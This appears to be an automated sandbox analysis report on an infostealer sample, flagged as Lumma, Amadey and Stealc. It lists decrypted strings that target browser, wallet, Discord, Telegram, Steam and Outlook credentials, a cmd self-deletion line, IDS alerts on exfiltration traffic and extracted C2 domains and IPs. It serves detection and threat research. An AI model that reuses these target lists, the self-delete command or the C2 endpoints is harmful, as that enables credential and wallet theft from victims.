Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Local Extension Settings
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Sync Extension Settings
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: IndexedDB
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Opera Stable
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Opera GX Stable
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CURRENT
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: chrome-extension_
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Local State
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: profiles.ini
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: chrome
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: opera
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: firefox
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: wallets
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ProductName
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: x32
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: x64
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ProcessorNameString
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DisplayName
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DisplayVersion
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Network Info:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - IP: IP?
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Country: ISO?
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: System Summary:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - HWID:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - OS:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Architecture:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - UserName:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Computer Name:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Local Time:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - UTC:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Language:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Keyboards:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Laptop:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Running Path:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - CPU:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Threads:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Cores:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - RAM:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - Display Resolution:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: - GPU:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: User Agents:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Installed Apps:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: All Users:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Current User:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Process List:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: system_info.txt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: freebl3.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: mozglue.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: msvcp140.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: nss3.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: softokn3.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: vcruntime140.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Temp\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: .exe
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: runas
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: open
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: /c start
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %DESKTOP%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %APPDATA%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %USERPROFILE%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %RECENT%
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: *.lnk
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: files
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \discord\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: key_datas
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: map*
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Telegram
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Tox
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: *.tox
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: *.ini
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Password
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 00000001
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 00000002
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 00000003
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 00000004
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Pidgin
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \.purple\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: accounts.xml
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: token:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SteamPath
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \config\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ssfn*
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: config.vdf
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: loginusers.vdf
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Steam\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: browsers
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: done
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: soft
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: https
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: POST
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HTTP/1.1
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: hwid
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: build
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: token
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: file_name
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: file
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: message
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50032 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 4b41d9dd20.exe, 00000013.00000002.2312440021.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, 4b41d9dd20.exe, 00000013.00000003.2271033754.00000000053AB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000025.00000000.2371590003.00000000008FC000.00000008.00000001.01000000.00000017.sdmp, 4b41d9dd20.exe, 00000029.00000003.2472215576.00000000051AB000.00000004.00001000.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2513367110.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.16.dr
Source:	Binary string: my_library.pdb source: 4b41d9dd20.exe, 00000013.00000002.2312440021.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, 4b41d9dd20.exe, 00000013.00000003.2271033754.00000000053AB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000025.00000000.2371590003.00000000008FC000.00000008.00000001.01000000.00000017.sdmp, 4b41d9dd20.exe, 00000029.00000003.2472215576.00000000051AB000.00000004.00001000.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2513367110.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.16.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, 0000000A.00000003.1529282591.0000000005210000.00000004.00001000.00020000.00000000.sdmp, UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 193MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:50915 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:65325 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:57301 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:59750 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:58483 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49700 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49702 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49699 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49719 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49729 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49765 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49977 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49978
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:49778 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:61661 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:62081 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49982 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:58707 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49980 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49984 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49985 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49986 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49987 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49992 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49990 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50001 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:54026 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49999 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:55530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:61366 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:55035 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50012 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50019 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50028 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:50222 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:61343 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:60193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:54607 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50031 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50030 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50033 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49702 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49765 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49982 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49982 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49984 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50031 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50019 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50019 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50031 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50012 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50012 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50030 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50030 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

